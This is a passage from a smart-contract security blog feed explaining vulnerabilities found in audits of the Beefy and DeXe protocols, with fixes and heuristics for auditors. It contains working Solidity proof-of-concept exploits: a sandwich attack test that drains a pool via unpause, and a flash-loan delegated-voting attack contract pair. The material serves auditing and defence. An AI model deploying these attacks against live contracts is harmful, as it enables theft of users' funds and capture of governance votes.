<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unpause</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyManager</span> </span>{
    _giveAllowances();
    _unpause();
    _setTicks();
    _addLiquidity();
}
</code></pre>
<p>Here the liquidity was already removed when the contract was paused so the previous trick won't work in exactly the same way as an attacker can't force the protocol to "Sell Low". However the attacker can still force the protocol to "Buy High" which can be exploited with great effect if the protocol has a single-sided or unbalanced LP position:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_AttackerDrainsProtocolViaUnpause</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-comment">// user deposits and beefy sets up its LP position</span>
    <span class="hljs-keyword">uint256</span> BEEFY_INIT_WBTC <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    <span class="hljs-keyword">uint256</span> BEEFY_INIT_USDC <span class="hljs-operator">=</span> <span class="hljs-number">600000e6</span>;
    deposit(user, <span class="hljs-literal">true</span>, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);

    <span class="hljs-comment">// owner pauses contract</span>
    strategy.panic(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>);

    (<span class="hljs-keyword">uint256</span> beefyBeforeWBTCBal, <span class="hljs-keyword">uint256</span> beefyBeforeUSDCBal) <span class="hljs-operator">=</span> strategy.balances();

    <span class="hljs-comment">// record beefy WBTC &amp; USDC amounts before attack</span>
    console.log(<span class="hljs-string">"%s : %d"</span>, <span class="hljs-string">"LP WBTC Before Attack"</span>, beefyBeforeWBTCBal); <span class="hljs-comment">// 0</span>
    console.log(<span class="hljs-string">"%s : %d"</span>, <span class="hljs-string">"LP USDC Before Attack"</span>, beefyBeforeUSDCBal); <span class="hljs-comment">// 599999999999</span>
    console.log();

    <span class="hljs-comment">// owner decides to unpause contract</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// attacker front-runs owner call to `unpause` using</span>
    <span class="hljs-comment">// a large amount of USDC to buy all the WBTC. This</span>
    <span class="hljs-comment">// massively pushes up the price of WBTC</span>
    <span class="hljs-keyword">uint256</span> ATTACKER_USDC <span class="hljs-operator">=</span> <span class="hljs-number">100000000e6</span>;
    trade(attacker, <span class="hljs-literal">true</span>, <span class="hljs-literal">false</span>, ATTACKER_USDC);

    <span class="hljs-comment">// owner calls `StrategyPassiveManagerUniswap::unpause`</span>
    <span class="hljs-comment">// This is the transaction that the attacker sandwiches. The reason is that</span>
    <span class="hljs-comment">// `unpause` makes Beefy change its LP position. This will</span>
    <span class="hljs-comment">// cause Beefy to deploy its USDC at the now much higher price range</span>
    strategy.unpause();

    <span class="hljs-comment">// attacker back-runs the sandwiched transaction to sell their WBTC</span>
    <span class="hljs-comment">// to Beefy who has deployed their USDC at the inflated price range,</span>
    <span class="hljs-comment">// and also sells the rest of their WBTC position to the remaining LPs</span>
    <span class="hljs-comment">// unwinding the front-run transaction</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// Attacker has forced Beefy to buy WBTC "high"</span>
    trade(attacker, <span class="hljs-literal">false</span>, <span class="hljs-literal">true</span>, IERC20(token0).balanceOf(attacker));

    <span class="hljs-comment">// record beefy WBTC &amp; USDC amounts after attack</span>
    (<span class="hljs-keyword">uint256</span> beefyAfterWBTCBal, <span class="hljs-keyword">uint256</span> beefyAfterUSDCBal) <span class="hljs-operator">=</span> strategy.balances();

    <span class="hljs-comment">// beefy has been almost completely drained of USDC</span>
    console.log(<span class="hljs-string">"%s  : %d"</span>, <span class="hljs-string">"LP WBTC After Attack"</span>, beefyAfterWBTCBal); <span class="hljs-comment">// 0</span>
    console.log(<span class="hljs-string">"%s  : %d"</span>, <span class="hljs-string">"LP USDC After Attack"</span>, beefyAfterUSDCBal); <span class="hljs-comment">// 126790</span>
    console.log();

    <span class="hljs-keyword">uint256</span> attackerUsdcBal <span class="hljs-operator">=</span> IERC20(token1).balanceOf(attacker);
    console.log(<span class="hljs-string">"%s  : %d"</span>, <span class="hljs-string">"Attacker USDC profit"</span>, attackerUsdcBal<span class="hljs-operator">-</span>ATTACKER_USDC);
    <span class="hljs-comment">// attacker profit = $548,527 USDC</span>
}
</code></pre>
<p>A <a target="_blank" href="https://www.cyfrin.io/">smart contract audit</a> should carefully examine every function which updates tick ranges and deploys liquidity to verify if the TWAP check for pool manipulation is present. While the check may be present in common and obvious functions, there may be less-used functions which set parameters where an oversight has occurred. More examples: [<a target="_blank" href="https://solodit.xyz/issues/h-1-pool-deviation-check-in-simplemanager-on-rebalance-can-be-bypassed-sherlock-none-arrakis-git">1</a>]</p>
<h3 id="heading-owner-rug-pull-by-setting-ineffective-twap-parameters">Owner Rug-Pull By Setting Ineffective TWAP Parameters</h3>
<p>As previously mentioned the TWAP check is crucial to protect CLM protocols from being exploited through pool manipulation attacks. However even if the TWAP check is correctly applied in all functions that update ticks and deploy liquidity, the <a target="_blank" href="https://solodit.xyz/issues/owner-of-strategypassivemanageruniswap-can-rug-pull-users-deposited-tokens-by-manipulating-onlycalmperiods-parameters-cyfrin-none-cyfrin-beefy-finance-markdown">TWAP check itself can be rendered ineffective if the owner updates its parameters to reduce its effectiveness</a>.</p>
<p>In Cyfrin's Beefy audit one of the key protocol invariants was that the contract owner should not be able to rug-pull users' deposited tokens. We found that the owner could easily achieve this by manipulating two key parameters <code>maxDeviation</code> and <code>twapInterval</code> rendering the TWAP check ineffective since these two key parameters could be set to any arbitrary value.</p>
<p>A similar protocol Gamma Strategies was <a target="_blank" href="https://rekt.news/gamma-strategies-rekt/">exploited</a> using this exact method as the price deviation threshold was too high on some vaults. Potential mitigation strategies for this attack vector include:</p>
<ul>
<li><p>having all owner functions behind a time-locked multi-sig</p>
</li>
<li><p>enforcing minimum/maximum values for key TWAP check parameters such that they can't be set to arbitrary values</p>
</li>
</ul>
<p>Auditors should carefully review which parameters are used in the TWAP check and whether a contract owner can set those parameters to arbitrary values which may render the TWAP check ineffective. Once the protocol has been deployed the protocol owner must be judicious in setting appropriate TWAP parameters on a per-pool basis.</p>
<h3 id="heading-tokens-permanently-stuck-inside-protocol">Tokens Permanently Stuck Inside Protocol</h3>
<p>As CLM protocols can be composed of multiple contracts, smart contract developers and auditors should carefully consider the flow of tokens between contracts and where tokens should accumulate. Contracts where tokens should not accumulate should have defined invariants with stateful fuzz tests to verify their token balances remain zero.</p>
<p>In Cyfrin's Beefy audit we noticed that due to rounding during division some <a target="_blank" href="https://solodit.xyz/issues/native-tokens-permanently-stuck-in-strategypassivemanageruniswap-contract-due-to-rounding-in-_chargefees-cyfrin-none-cyfrin-beefy-finance-markdown">tokens were never distributed but would instead accumulate inside a contract where they would be permanently stuck</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit rounding during division = stuck tokens</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// Distribute the native earned to the appropriate addresses.</span>
<span class="hljs-keyword">uint256</span> callFeeAmount <span class="hljs-operator">=</span> nativeEarned <span class="hljs-operator">*</span> fees.<span class="hljs-built_in">call</span> <span class="hljs-operator">/</span> DIVISOR;
IERC20Metadata(native).safeTransfer(_callFeeRecipient, callFeeAmount);

<span class="hljs-keyword">uint256</span> beefyFeeAmount <span class="hljs-operator">=</span> nativeEarned <span class="hljs-operator">*</span> fees.beefy <span class="hljs-operator">/</span> DIVISOR;
IERC20Metadata(native).safeTransfer(beefyFeeRecipient, beefyFeeAmount);

<span class="hljs-keyword">uint256</span> strategistFeeAmount <span class="hljs-operator">=</span> nativeEarned <span class="hljs-operator">*</span> fees.strategist <span class="hljs-operator">/</span> DIVISOR;
IERC20Metadata(native).safeTransfer(strategist, strategistFeeAmount);
</code></pre>
<p>Although the amount each time is small, as the protocol is designed to continuously operate on 20+ chains the amount of tokens permanently stuck accumulates over time. In our invariant fuzz testing suite this simple Echidna invariant was able to identify the issue:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// INVARIANT 3) Strategy contract doesn't accrue native tokens</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_strategy_native_tokens_balance_zero</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">uint256</span> bal <span class="hljs-operator">=</span> IERC20(native).balanceOf(<span class="hljs-keyword">address</span>(strategy));
    <span class="hljs-keyword">emit</span> TestDebugUIntOutput(bal);
    <span class="hljs-keyword">return</span> bal <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Smart contract developers should handle imperfect division by always distributing what remains over; the above code could be refactored to distribute whatever remains from the fees to the Beefy protocol like this:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> callFeeAmount <span class="hljs-operator">=</span> nativeEarned <span class="hljs-operator">*</span> fees.<span class="hljs-built_in">call</span> <span class="hljs-operator">/</span> DIVISOR;
IERC20Metadata(native).safeTransfer(_callFeeRecipient, callFeeAmount);

<span class="hljs-keyword">uint256</span> strategistFeeAmount <span class="hljs-operator">=</span> nativeEarned <span class="hljs-operator">*</span> fees.strategist <span class="hljs-operator">/</span> DIVISOR;
IERC20Metadata(native).safeTransfer(strategist, strategistFeeAmount);

<span class="hljs-keyword">uint256</span> beefyFeeAmount <span class="hljs-operator">=</span> nativeEarned <span class="hljs-operator">-</span> callFeeAmount <span class="hljs-operator">-</span> strategistFeeAmount;
IERC20Metadata(native).safeTransfer(beefyFeeRecipient, beefyFeeAmount);
</code></pre>
<p>More examples: [<a target="_blank" href="https://solodit.xyz/issues/h-2-arrakisv2routeraddliquiditypermit2-will-strand-eth-sherlock-none-arrakis-git">1</a>]</p>
<h3 id="heading-token-approvals-remain-when-updating-router-address">Token Approvals Remain When Updating Router Address</h3>
<p>Many protocols including CLM protocols contain functions to update important addresses; often these functions appear very simple. However their simple appearance can serve to hide the underlying complexity of how updating these addresses can affect the protocol. Consider this simple function from Cyfrin's Beefy audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUnirouter</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _unirouter</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    unirouter <span class="hljs-operator">=</span> _unirouter;
    <span class="hljs-keyword">emit</span> SetUnirouter(_unirouter);
}
</code></pre>
<p>While this function appears to be extremely simple, the potential problems are only uncovered when thinking about how this function interacts with different states the protocol could be in. Consider for example that Beefy gives unlimited token approvals to <code>unirouter</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_giveAllowances</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
    IERC20Metadata(lpToken0).forceApprove(unirouter, <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
    IERC20Metadata(lpToken1).forceApprove(unirouter, <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
}
</code></pre>
<p>Because the approvals are not removed before updating the router address, the <a target="_blank" href="https://solodit.xyz/issues/strategypassivemanageruniswap-gives-erc20-token-allowances-to-unirouter-but-doesnt-remove-allowances-when-unirouter-is-updated-cyfrin-none-cyfrin-beefy-finance-markdown">old router can still continue to spend the protocol's tokens</a>.</p>
<p>Smart contract auditors should verify that before updating the router address the CLM protocol revokes any token approvals which have been given to the existing router.</p>
<h3 id="heading-updated-protocol-fees-retrospectively-applied-to-pending-lp-rewards">Updated Protocol Fees Retrospectively Applied To Pending LP Rewards</h3>
<p>CLM protocols aim to be profitable by charging a % "management" fee on the LP rewards. In order to remain competitive the contract owner usually has the ability to increase or decrease this fee. In Cyfrin's Beefy audit we found that:</p>
<ul>
<li><p>the contract owner could change the fees at any time</p>
</li>
<li><p>LP rewards are only collected when the <code>harvest</code> function is called</p>
</li>
</ul>
<p>This allows the protocol to enter a state where the management fee is increased and the next time <code>harvest</code> is called <a target="_blank" href="https://solodit.xyz/issues/update-to-stratfeemanagerinitializablebeefyfeeconfig-retrospectively-applies-new-fees-to-pending-lp-rewards-yet-to-be-claimed-cyfrin-none-cyfrin-beefy-finance-markdown">the higher fees are retrospectively applied to the LP rewards that were pending</a> under the previously lower fee regime.</p>
<p>This allows the protocol owner to retrospectively alter the fee structure to steal pending LP rewards instead of distributing them to protocol users. Additionally the retrospective application of fees is unfair on protocol users because those users deposited their liquidity into the protocol and generated LP rewards at the previous fee levels.</p>
<p>Smart contract auditors should verify that pending LP rewards are collected and have the current fees charged on them prior to updating the existing fee structure. More examples: [<a target="_blank" href="https://solodit.xyz/issues/m-5-update-to-managerfeebps-applied-to-pending-tokens-yet-to-be-claimed-sherlock-none-arrakis-git">1</a>]</p>
<h3 id="heading-concentrated-liquidity-manager-additional-invariants">Concentrated Liquidity Manager Additional Invariants</h3>
<p>Smart contract auditors and developers may consider verifying whether a number of additional invariants hold true when auditing and developing CLM protocols:</p>
<ul>
<li><p>protocol should <a target="_blank" href="https://solodit.xyz/issues/strategypassivemanageruniswapprice-will-revert-due-to-overflow-for-large-but-valid-sqrtpricex96-cyfrin-none-cyfrin-beefy-finance-markdown">not revert due to overflow for valid range of sqrtPriceX96</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/withdraw-can-return-zero-tokens-while-burning-a-positive-amount-of-shares-cyfrin-none-cyfrin-beefy-finance-markdown">withdraw should return &gt; 0 tokens when burning &gt; 0 shares</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/deposit-can-return-zero-shares-when-user-deposits-a-positive-amount-of-tokens-cyfrin-none-cyfrin-beefy-finance-markdown">deposit should return &gt; 0 shares when depositing &gt; 0 tokens</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/some-tokens-will-be-stuck-in-the-protocol-forever-cyfrin-none-cyfrin-beefy-finance-markdown">tokens should not remain stuck in the protocol forever</a></p>
</li>
</ul>
<h3 id="heading-heuristics-to-find-similar-vulnerabilities">Heuristics To Find Similar Vulnerabilities</h3>
<p>The following questions may help auditors find similar vulnerabilities in CLM protocols:</p>
<ol>
<li><p>Can I force the protocol to deploy its liquidity into an unfavorable range? Can I force it to "buy low" and "sell high" ?</p>
</li>
<li><p>Does asymmetry exist where there should be symmetry? If a check occurs in many places but is absent in one or two places, what is the consequence of this?</p>
</li>
<li><p>Is there a coding pattern that is observed in many places but is missing in one place? If so, what is the consequence of this?</p>
</li>
<li><p>Can an attacker or other actor harm the protocol by front-running or sandwich attacking any of the external or public functions?</p>
</li>
<li><p>Can parameters crucial to the safety of the protocol be set to arbitrary values? If so, will they still offer the same protection if set to extremely small or extremely large values?</p>
</li>
<li><p>Does the protocol give spending allowances to a target contract, but has a function which allows updating the address of the target contract without first revoking the allowances?</p>
</li>
<li><p>More generally, does the protocol have resources (tokens, fees etc) with another contract, but has a function which allows updating the address of the target contract without first re-claiming those resources?</p>
</li>
<li><p>If the protocol charges fees, can the fees charged be updated? If yes, do the updated fees apply retrospectively to unclaimed rewards?</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[DAO Governance DeFi Attacks]]></title><description><![CDATA[Decentralized Autonomous Organizations (DAO) facilitate a new form of on-chain distributed governance where participants can propose, vote and execute proposals. DAO voting typically works through ERC20 & ERC721 tokens and proposals often involve all...]]></description><link>https://dacian.me/dao-governance-defi-attacks</link><guid isPermaLink="true">https://dacian.me/dao-governance-defi-attacks</guid><category><![CDATA[DAOs]]></category><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Fri, 10 Nov 2023 14:49:48 GMT</pubDate><content:encoded><![CDATA[<p>Decentralized Autonomous Organizations (DAO) facilitate a new form of on-chain distributed governance where participants can propose, vote and execute proposals. DAO voting typically works through ERC20 &amp; ERC721 tokens and proposals often involve allocation of the DAO's monetary capital.</p>
<p>While on-chain governance increases the transparency of how voting works and election results are calculated, it also provides a large attack surface for creative exploitation. Although DAO systems can vary greatly both in features &amp; implementation, they can contain several common vulnerabilities which all smart contract developers &amp; auditors should be aware of.</p>
<h3 id="heading-using-flash-loans-to-decide-proposals">Using Flash-Loans To Decide Proposals</h3>
<p>As DAO voting is typically implemented using ERC20 &amp; ERC721 tokens the primary way to increase one's voting power is to buy more voting tokens from decentralized exchanges or the DAO's token sale proposals. When enough users vote on a proposal "quorum" is reached and the outcome of a proposal is decided. This combination of factors allows an attacker to use a flash-loan to determine the outcome of proposals by:</p>
<ul>
<li><p>borrowing a large amount of voting tokens</p>
</li>
<li><p>voting with the borrowed tokens to immediately decide the outcome of a proposal</p>
</li>
<li><p>withdrawing the voting tokens and repaying the flash loan</p>
</li>
</ul>
<p>This attack is performed in one transaction via an attack contract and completely subverts the voting system by allowing an attacker to decide the outcome of proposals even if they don't have the economic energy to do so. While a devastating attack vector it is also well-known and DAOs implementing voting systems create protections to prevent this type of attack such as:</p>
<ul>
<li><p>forcing voters to "lock up" their voting tokens</p>
</li>
<li><p>not allowing lock/unlock of voting tokens in the same block</p>
</li>
<li><p>not allowing proposals to change from a "Voting" to a "Successful/Defeated" state in the same block</p>
</li>
</ul>
<p>The challenge for auditors and hackers when attacking DAO Governance voting systems is to find creative ways to bypass such flash-loan protection mitigations by:</p>
<ul>
<li><p>using other components of the system in ways the developer didn't expect</p>
</li>
<li><p>finding gaps in the smart contract's <a target="_blank" href="https://en.wikipedia.org/wiki/Finite-state_machine">finite state machine</a> such as unexpected/unchecked state transitions which allow transitions between states that should be prohibited</p>
</li>
</ul>
<p>In <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2023-11-10-cyfrin-dexe-v2.0.pdf">Cyfrin's DeXe Protocol audit</a> we were able to successfully <a target="_blank" href="https://solodit.xyz/issues/attacker-can-combine-flashloan-with-delegated-voting-to-decide-a-proposal-and-withdraw-their-tokens-while-the-proposal-is-still-in-locked-state-cyfrin-none-cyfrin-dexe-markdown">bypass all the existing flash-loan mitigations by leveraging delegated voting</a> which allows users to delegate their votes to other users. Our attack used 2 contracts Master &amp; Slave:</p>
<ul>
<li><p>Master takes the flash-loan, deposits it into the DAO to receive voting power and delegates the voting power to Slave</p>
</li>
<li><p>Slave votes on the proposal which immediately reaches quorum and becomes <code>Locked</code>; Slave has no voting power itself, only the delegated voting power from Master</p>
</li>
<li><p>Even though quorum has been reached and the proposal is now <code>Locked</code>, Master can immediately undelegate from Slave, withdraw their tokens and repay the flash-loan; this was a major gap we identified in DeXe's state machine which we exploited</p>
</li>
</ul>
<p>The entire attack occurs in one transaction initiated by a call to the Master smart contract attack function <code>FlashDelegationVoteAttack::attack()</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FlashDelegationVoteAttack</span> </span>{
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// how the attack contract works:</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// 1) use flashloan to acquire large amount of voting tokens</span>
    <span class="hljs-comment">//    (caller transfer tokens to contract before calling to simplify PoC)</span>
    <span class="hljs-comment">// 2) deposit voting tokens into GovPool</span>
    <span class="hljs-comment">// 3) delegate voting power to slave contract</span>
    <span class="hljs-comment">// 4) slave contract votes with delegated power</span>
    <span class="hljs-comment">// 5) proposal immediately reaches quorum and moves into Locked state</span>
    <span class="hljs-comment">// 6) undelegate voting power from slave contract</span>
    <span class="hljs-comment">//    since undelegation works while Proposal is in locked state</span>
    <span class="hljs-comment">// 7) withdraw voting tokens from GovPool while proposal still in Locked state</span>
    <span class="hljs-comment">// 8) all in 1 txn</span>
    <span class="hljs-comment">//</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> govPoolAddress, <span class="hljs-keyword">address</span> tokenAddress, <span class="hljs-keyword">uint256</span> proposalId</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// verify that the attack contract contains the voting tokens</span>
        IERC20 votingToken <span class="hljs-operator">=</span> IERC20(tokenAddress);

        <span class="hljs-keyword">uint256</span> votingPower <span class="hljs-operator">=</span> votingToken.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        <span class="hljs-built_in">require</span>(votingPower <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>, <span class="hljs-string">"AttackContract: need to send tokens first"</span>);

        <span class="hljs-comment">// create the slave contract that this contract will delegate to which</span>
        <span class="hljs-comment">// will do the actual vote</span>
        FlashDelegationVoteAttackSlave slave <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> FlashDelegationVoteAttackSlave();

        <span class="hljs-comment">// deposit our tokens with govpool</span>
        IGovPool govPool <span class="hljs-operator">=</span> IGovPool(govPoolAddress);

        <span class="hljs-comment">// approval first</span>
        (, <span class="hljs-keyword">address</span> userKeeperAddress, , , ) <span class="hljs-operator">=</span> govPool.getHelperContracts();
        votingToken.approve(userKeeperAddress, votingPower);

        <span class="hljs-comment">// then actual deposit</span>
        govPool.deposit(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), votingPower, <span class="hljs-keyword">new</span> <span class="hljs-keyword">uint256</span>[](<span class="hljs-number">0</span>));

        <span class="hljs-comment">// verify attack contract has no tokens</span>
        <span class="hljs-built_in">require</span>(
            votingToken.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>,
            <span class="hljs-string">"AttackContract: balance should be 0 after depositing tokens"</span>
        );

        <span class="hljs-comment">// delegate our voting power to the slave</span>
        govPool.delegate(<span class="hljs-keyword">address</span>(slave), votingPower, <span class="hljs-keyword">new</span> <span class="hljs-keyword">uint256</span>[](<span class="hljs-number">0</span>));

        <span class="hljs-comment">// slave does the actual vote</span>
        slave.vote(govPool, proposalId);

        <span class="hljs-comment">// verify proposal now in Locked state as quorum was reached</span>
        <span class="hljs-built_in">require</span>(
            govPool.getProposalState(proposalId) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> IGovPool.ProposalState.Locked,
            <span class="hljs-string">"AttackContract: proposal didn't move to Locked state after vote"</span>
        );

        <span class="hljs-comment">// undelegate our voting power from the slave</span>
        govPool.undelegate(<span class="hljs-keyword">address</span>(slave), votingPower, <span class="hljs-keyword">new</span> <span class="hljs-keyword">uint256</span>[](<span class="hljs-number">0</span>));

        <span class="hljs-comment">// withdraw our tokens</span>
        govPool.withdraw(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), votingPower, <span class="hljs-keyword">new</span> <span class="hljs-keyword">uint256</span>[](<span class="hljs-number">0</span>));

        <span class="hljs-comment">// verify attack contract has withdrawn all tokens used in the delegated vote</span>
        <span class="hljs-built_in">require</span>(
            votingToken.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> votingPower,
            <span class="hljs-string">"AttackContract: balance should be full after withdrawing"</span>
        );

        <span class="hljs-comment">// verify proposal still in the Locked state</span>
        <span class="hljs-built_in">require</span>(
            govPool.getProposalState(proposalId) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> IGovPool.ProposalState.Locked,
            <span class="hljs-string">"AttackContract: proposal should still be in Locked state after withdrawing tokens"</span>
        );

        <span class="hljs-comment">// attack contract can now repay flash loan</span>
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FlashDelegationVoteAttackSlave</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">vote</span>(<span class="hljs-params">IGovPool govPool, <span class="hljs-keyword">uint256</span> proposalId</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// slave has no voting power so votes 0, this will automatically</span>
        <span class="hljs-comment">// use the delegated voting power</span>
        govPool.vote(proposalId, <span class="hljs-literal">true</span>, <span class="hljs-number">0</span>, <span class="hljs-keyword">new</span> <span class="hljs-keyword">uint256</span>[](<span class="hljs-number">0</span>));
    }
}
</code></pre>
<p>To prevent this attack developers can implement defensive measures such as:</p>
<ul>
<li><p>ensuring that undelegation is not possible when a proposal has received delegated votes &amp; reached quorum but not yet transitioned into a final state</p>
</li>
<li><p>preventing delegation/undelegation &amp; deposit/withdrawal transactions in the same block from the same address</p>
</li>
</ul>
<p>Developers should be keenly aware that any advanced functionality they add to their DAO's voting system creates additional attack surface for attackers to exploit. Auditors should closely examine the voting system's advanced functionality to see if it can be leveraged to bypass flash-loan mitigations and execute this devastating attack. More examples: [<a target="_blank" href="https://solodit.xyz/issues/h-02-an-attacker-can-contribute-to-the-eth-crowdfund-using-a-flash-loan-and-control-the-party-as-he-likes-code4rena-partydao-party-protocol-versus-contest-git">1</a>, <a target="_blank" href="https://forum.makerdao.com/t/urgent-flash-loans-and-securing-the-maker-protocol/4901">2</a>, <a target="_blank" href="https://rekt.news/beanstalk-rekt/">3</a>, <a target="_blank" href="https://rekt.news/deus-dao-rekt/">4</a>]</p>
<h3 id="heading-attacker-destroys-user-voting-power">Attacker Destroys User Voting Power</h3>
<p>As voting power in DAOs is typically implemented via ERC20 &amp; ERC721 tokens, any attack that steals or burns user tokens can destroy voting power. However such vulnerabilities are typically not present in most production-grade systems as they are usually easily identified during private audits and <a target="_blank" href="https://www.codehawks.com/">smart contract audit contests</a>.</p>
<p>However, more subtle vulnerabilities can exist within voting power calculation algorithms, especially in advanced voting systems where the voting power of tokens can dynamically change over time. In Cyfrin's DeXe Protocol audit we observed that the <code>ERC721Power</code> contract contained a slight discrepancy which an attacker could weaponize against the voting power calculation algorithm to <a target="_blank" href="https://solodit.xyz/issues/attacker-can-destroy-user-voting-power-by-setting-erc721powertotalpower-and-all-existing-nfts-currentpower-to-0-cyfrin-none-cyfrin-dexe-markdown">destroy the voting power of all individual nfts and the total voting power of the contract</a>, setting them all to 0.</p>
<p><code>ERC721Power</code> has a "setup" phase where nfts are created &amp; configured but the actual voting power calculation doesn't start until a given <code>powerCalcStartTimestamp</code>. There is a slight discrepancy in how this check is implemented between two key functions [<a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/ERC721/ERC721Power.sol#L144">1</a>, <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/gov/ERC721/ERC721Power.sol#L172">2</a>]:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getNftPower</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-comment">// @audit execution always returns 0 when</span>
    <span class="hljs-comment">// block.timestamp == powerCalcStartTimestamp</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> powerCalcStartTimestamp) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">recalculateNftPower</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> newPower</span>) </span>{
    <span class="hljs-comment">// @audit execution allowed to continue when</span>
    <span class="hljs-comment">// block.timestamp == powerCalcStartTimestamp</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&lt;</span> powerCalcStartTimestamp) {
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }
    <span class="hljs-comment">// @audit getNftPower() returns 0 when </span>
    <span class="hljs-comment">// block.timestamp == powerCalcStartTimestamp</span>
    newPower <span class="hljs-operator">=</span> getNftPower(tokenId);

    NftInfo <span class="hljs-keyword">storage</span> nftInfo <span class="hljs-operator">=</span> nftInfos[tokenId];

    <span class="hljs-comment">// @audit as this is the first update since power</span>
    <span class="hljs-comment">// calculation has just started, totalPower will be </span>
    <span class="hljs-comment">// subtracted by nft's max power</span>
    totalPower <span class="hljs-operator">-</span><span class="hljs-operator">=</span> nftInfo.lastUpdate <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    <span class="hljs-comment">// @audit totalPower += 0 (newPower = 0 in above line)</span>
    totalPower <span class="hljs-operator">+</span><span class="hljs-operator">=</span> newPower;

    nftInfo.lastUpdate <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>);
